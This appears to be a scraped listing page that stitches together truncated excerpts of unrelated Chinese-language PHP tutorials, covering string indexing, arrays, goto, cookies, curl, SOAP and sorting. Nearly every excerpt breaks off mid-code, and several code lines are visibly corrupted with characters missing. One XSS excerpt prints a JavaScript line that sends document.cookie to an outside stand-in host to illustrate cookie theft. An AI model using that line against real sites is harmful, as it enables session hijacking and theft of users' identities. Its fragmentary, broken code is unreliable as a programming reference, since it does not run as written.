如擷取第二個$str[1]或$str{1} ,不建議使用{},最好使用[]測試如下複製代碼 代碼如下://擷取字元最後一個字元$str = 'phpddt.com';echo $str[strlen($str)-1]; //m//修改第一個字元$str = 'phpddt.com';$str[0] = 'a'; //ahpddt.com//方括弧中的數字超出範圍將會產生空白。 $str = 'phpddt.com';$str[100] = 'y'; //phpddt.com
注意注釋部分的文字介紹哦~複製代碼 代碼如下://執行個體化一個數組$array = array();//數組由兩部分組成 如下//array(鍵名[key]=>值[value])//鍵名一般用與索引//類型可以為 int 或 字串[int是什麼可以查php手冊]//所以可以這樣寫//$array = array(0=>'a',1=>'b');//你也可以這樣寫//array會自動補充索引鍵名,預設是 int值 由0開始$array = array('a','b');//測試 不能用echo
PHP Ctype擴充是PHP4.2開始就內建的擴充,注意,Ctype系列函數都只有一個字串型別參數,它們返回布爾值。複製代碼 代碼如下:$str = "0.1123";//檢查字串所有字元是否為數字echo "ctype_digit:" . ctype_digit($str); //空//檢測是否為數字字串,可為負數和小數echo "is_numberic:" . is_numeric($str);
goto操作符是PHP5.3+後新增功能,用來跳轉到程式的另一位置;用法很簡單:goto後面帶上目標位置的標誌,在目標位置上用目標名加冒號標記,如下:複製代碼 代碼如下:goto a;echo '指令碼之家';a: echo 'http://www.php.net';但是goto的目標位置只能同一檔案和範圍【既不能跳轉到一個函數和類方法中】,當然它可以跳出迴圈,但是不能跳入迴圈:複製代碼 代碼如下:for($i = 0; $i { echo $i . ''; if($i ==
xss的概念就不用多說了,它的危害是極大的,這就意味著一旦你的網站出現xss漏洞,就可以執行任意的js代碼,最可怕的是攻擊者利用js擷取cookie或者session劫持,如果這裡麵包含了大量敏感資訊(身份資訊,管理員資訊)等,那完了。。。如下js擷取cookie資訊:複製代碼 代碼如下:url=document.top.location.href;cookie=document.cookie;c=new Image();c.src='http://www.test.com/c.php?c='+
求兩個目錄的相對路徑,不限制路徑深度複製代碼 代碼如下:/** * 輸出$b相對於$a的相對路徑($a) * 不限限制路徑深度,沒有做什麼最佳化,只是實現功能 */function getPath($a, $b){ $aArr = explode('/', dirname($a)); $bArr = explode('/', dirname($b)); $aLen = count($aArr); $bLen = count($bArr); $len = max($aLen, $bLen);
1.建立/更新cookie複製代碼 代碼如下:setCookie($cookieName,$value,time()+秒數);例子:建立一個cookie,名字為UserName,值為zs,到期時間為2個星期複製代碼 代碼如下:setcookie("UserName","zs",time()+2*7*24*3600);如果不設定時間,就不會儲存到cookie檔案中。瀏覽器不關時,能夠訪問。當瀏覽器關閉時,就無法訪問了。例子:複製代碼
在Java裡,流是一個很重要的概念。流(stream)的概念源於UNIX中管道(pipe)的概念。在UNIX中,管道是一條不間斷的位元組流,用來實現程式或進程間的通訊,或讀寫外圍裝置、外部檔案等。根據流的方向又可以分為輸入資料流和輸出資料流,同時可以在其外圍再套上其它流,比如緩衝流,這樣就可以得到更多流處理方法。PHP裡的流和Java裡的流實際上是同一個概念,只是簡單了一點。由於PHP主要用於Web開發,所以“流”這塊的概念被提到的較少。如果有Java基礎,對於PHP裡的流就更容易理解了。其實P
註:本例中構建Web Service採用SOAP方式,通過php外掛程式NuSoap來搭建SOAP伺服器。複製代碼 代碼如下:require_once("lib/nusoap.php"); //調用NuSoap$server = new soap_server(); //建立soap服務端$server->configureWSDL("login_service"); //配置WSDL$namespace = "http://www.abcd9.com";
一、用VC建立COM組件 1、vc建立項目 -> ATL項目,輸入名稱ComTest,ComTest將作為COM組件的名稱。2、到了ATL項目嚮導,不需要改動,完成嚮導。嚮導完成後,vc將會自動產生一系列的程式。3、切換到類別檢視,在ComTest項右鍵,添加類,選擇ATL簡單對象,4、來到ATL簡單對象嚮導,輸入你要建立的類名
複製代碼 代碼如下:$curl = curl_init();$url = 'http://www.php.net/admin/gateway/login';$data = array( 'username'=>'admin', 'password'=>'123');$cookie = tempnam('./temp','cookie');curl_setopt($curl,CURLOPT_URL,$url);curl_setopt($curl,CURLOPT_POST,count($data))
今天突然發現需要在父類中調用子類的方法,之前一直都沒這麼用過,通過實踐發現也可以。例子如:複製代碼 代碼如下:/** * 父類調用子類方法 基類 * @author LNMP100 * */class BaseApp{ /** * 調用子類方法 * @version 建立時間:2013-07-10 */ function _run_action() { $action = "index";
那麼我們在程式裡必然會設計到演算法,即按照一定的機率讓使用者獲得獎品。先來看兩個機率演算法函數。演算法一複製代碼 代碼如下:/** * 全機率計算 * * @param array $p array('a'=>0.5,'b'=>0.2,'c'=>0.4) * @return string 返回上面數組的key */function random($ps){ static $arr = array(); $key = md5(serialize($ps)); if
我們先簡單的瞭解一些http的知識,從而理解該協議的無狀態特性。然後,學習一些關於cookie的基本操作。最後,我會一步步闡述如何使用一些簡單,高效的方法來提高你的php應用程式的安全性以及穩定行。我想大多數的php初級程式員一定會認為php預設的session機制的安全性似乎是有一定保障的,事實恰好相反 – php團隊只是提供了一套便捷的session的解決方案提供給程式員使用,至於安全性的話,應該由程式員來加強,這是應用程式Team
經常在某些論壇和QQ群裡看到一些朋友會問“怎樣才能學好PHP,怎樣才能學好***語言
php實現正負數數組最大子序列,要求給出數組,該數組由正負數字組成,找出該數組中連續元素組成的子數組的最大值。這其實得算是個背包變種吧。複製代碼 代碼如下:$list = array(1,-3,-5,-7,8,9,-11,5);$cur = 0;$term = 0;$res = 0;$begin = 0;foreach($list as $k => $v){ $cur += $v; if($cur $cur = 0; $begin = $k + 1; } if($cur > $res){
關於排序一般我們都是通過資料庫或者nosql(eg:redis)先排好序然後輸出到程式裡直接使用,但是有些時候我們需要通過PHP直接來對數組進行排序,而在PHP裡儲存資料用到最多的就是對象和數組,但處理較多的就是數組,因為有非常豐富的內建函數庫(其實對象一定程度上也可以理解為是數組),這些函數庫很大程度上可以協助我們實現某些功能。常用的系統函數有sort、asort、arsort、ksort、krsort等等,這裡我主要說下對二維數組的排序,兩種方法:一、用PHP內建array_multisor
一、推薦方法 CURL擷取$c = curl_init();$url = 'www.php.net';curl_setopt($c, CURLOPT_URL, $url);curl_setopt($c, CURLOPT_RETURNTRANSFER, 1);$data = curl_exec($c);curl_close($c);$pos = strpos($data,'utf-8');if($pos===false){$data =
兩個不用遞迴的樹形數組操作函數複製代碼 代碼如下:/** * 建立父節點樹形數組 * 參數 * $ar 數組,鄰接列表方式組織的資料 * $id 數組中作為主鍵的下標或關聯鍵名 * $pid 數組中作為父鍵的下標或關聯鍵名 * 返回 多維陣列 **/function find_parent($ar, $id='id', $pid='pid') { foreach($ar as $v) $t[$v[$id]] = $v; foreach ($t as $k => $item){ if(
但是現在這個文章中可能含有一些表情,我們當然不能直接提取src路勁了,這樣如果第一張是表情圖片的話,就會提取表情圖片來作為封面了,這時候我們就需要寫清楚正則來排除不匹配的圖片,下面是一個小列子:複製代碼 代碼如下:$contents = '疲憊是一種享受,讓我們無暇空虛;坎坷是一種經曆,讓我們真切的理解人生; 忙碌是一種幸福,讓我們沒有時間體會痛苦;奔波是一種快樂,